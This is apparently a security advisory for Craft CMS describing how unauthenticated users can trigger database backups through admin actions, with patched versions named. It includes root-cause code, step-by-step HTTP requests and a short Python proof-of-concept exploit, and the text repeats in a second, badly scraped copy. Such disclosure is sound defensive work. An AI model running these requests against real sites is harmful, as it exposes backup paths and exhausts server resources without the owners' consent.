Unauthenticated users can trigger database backup operations via specific admin actions, potentially leading to resource exhaustion or information disclosure.
Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.
Craft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.
References:
f83d4e0
https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04
Affected Endpoints
POST /admin/actions/app/migrate (unauthenticated)
POST /admin/actions/updater/backup
Vulnerability Details
Root Cause
Certain admin actions are explicitly configured with anonymous access:
// AppController.php
protected array|bool|int $allowAnonymous = [
'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
// ...
];
// BaseUpdaterController.php
protected array|bool|int $allowAnonymous = self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE;
Attack Vector
- Send unauthenticated POST request to
/admin/actions/app/migrate
- If
backupOnUpdate is enabled, triggers Craft::$app->getDb()->backup()
- Database backup executes with configured
backupCommand
Reproduction Steps
Prerequisites
- CraftCMS 5.8.19 installation
- Database backups enabled (
backupOnUpdate => true in config)
- Target accessible via HTTP
Step-by-Step Reproduction
- I sent a
GET request to:
https://host/admin/login
-
I copied the CRAFT_CSRF_TOKEN from the Set-Cookie header as well as the csrfTokenValue included in the response body.
-
I used those values in the following request to trigger the updater initialization:
POST /admin/actions/updater/index HTTP/1.1
Host: host
Cookie: CRAFT_CSRF_TOKEN=xxxxxx
Content-Type: application/x-www-form-urlencoded
CRAFT_CSRF_TOKEN=xxxxxxxxx
- After this, I examined the response and found the dynamically generated sign key embedded inside:
Craft.Updater("updater").setState({
"status": "Nothing to update.",
"finished": true,
"returnUrl": "dashboard",
"data": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx{\"migrate\":[]}"
})
- I then used that extracted
data value to perform a database backup by issuing:
POST /admin/actions/updater/backup HTTP/1.1
Host: host
Cookie: CRAFT_CSRF_TOKEN=xxxx
Content-Type: application/x-www-form-urlencoded
CRAFT_CSRF_TOKEN=xxxxxx&data=xxxxxxxxxxxxxxxxxxxxxxxxxx%7B%22migrate%22%3A%5B%5D%7D
- The server responded successfully, initiating a database backup and returning the backup path:
{
"nextAction": "migrate",
"status": "Updating database…",
"data": "582c1863...{\"migrate\":[],\"dbBackupPath\":\"/home/xxxxx/host/craft-cms/storage/backups/sendbird--2025-11-14-142917--v4.15.0.2.sql\"}"
}
Expected Results
- Success: Database backup initiated (check server logs for backup activity)
- Resource Impact: High CPU/disk usage during backup
- Potential RCE: If
backupCommand is configured with shell commands
Proof of Concept Code
import requests
import re
TARGET = "http://192.168.100.46:8080"
session = requests.Session()
# Get CSRF token
r = session.get(f"{TARGET}/admin/login")
csrf = re.search(r'name="CRAFT_CSRF_TOKEN" value="([^"]+)"', r.text).group(1)
# Trigger backup
r = session.post(f"{TARGET}/admin/actions/app/migrate",
data={"applyProjectConfigChanges": "false"})
print(f"Backup triggered: {r.content}")
Unauthenticated users can trigger database backup operations via specific admin actions, potentially leading to resource exhaustion or information disclosure.
Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.
Craft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.
References:
f83d4e0
https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04
Affected Endpoints
POST /admin/actions/app/migrate(unauthenticated)POST /admin/actions/updater/backupVulnerability Details
Root Cause
Certain admin actions are explicitly configured with anonymous access:
Attack Vector
/admin/actions/app/migratebackupOnUpdateis enabled, triggersCraft::$app->getDb()->backup()backupCommandReproduction Steps
Prerequisites
backupOnUpdate => truein config)Step-by-Step Reproduction
GETrequest to:https://host/admin/login
I copied the
CRAFT_CSRF_TOKENfrom theSet-Cookieheader as well as thecsrfTokenValueincluded in the response body.I used those values in the following request to trigger the updater initialization:
datavalue to perform a database backup by issuing:Expected Results
backupCommandis configured with shell commandsProof of Concept Code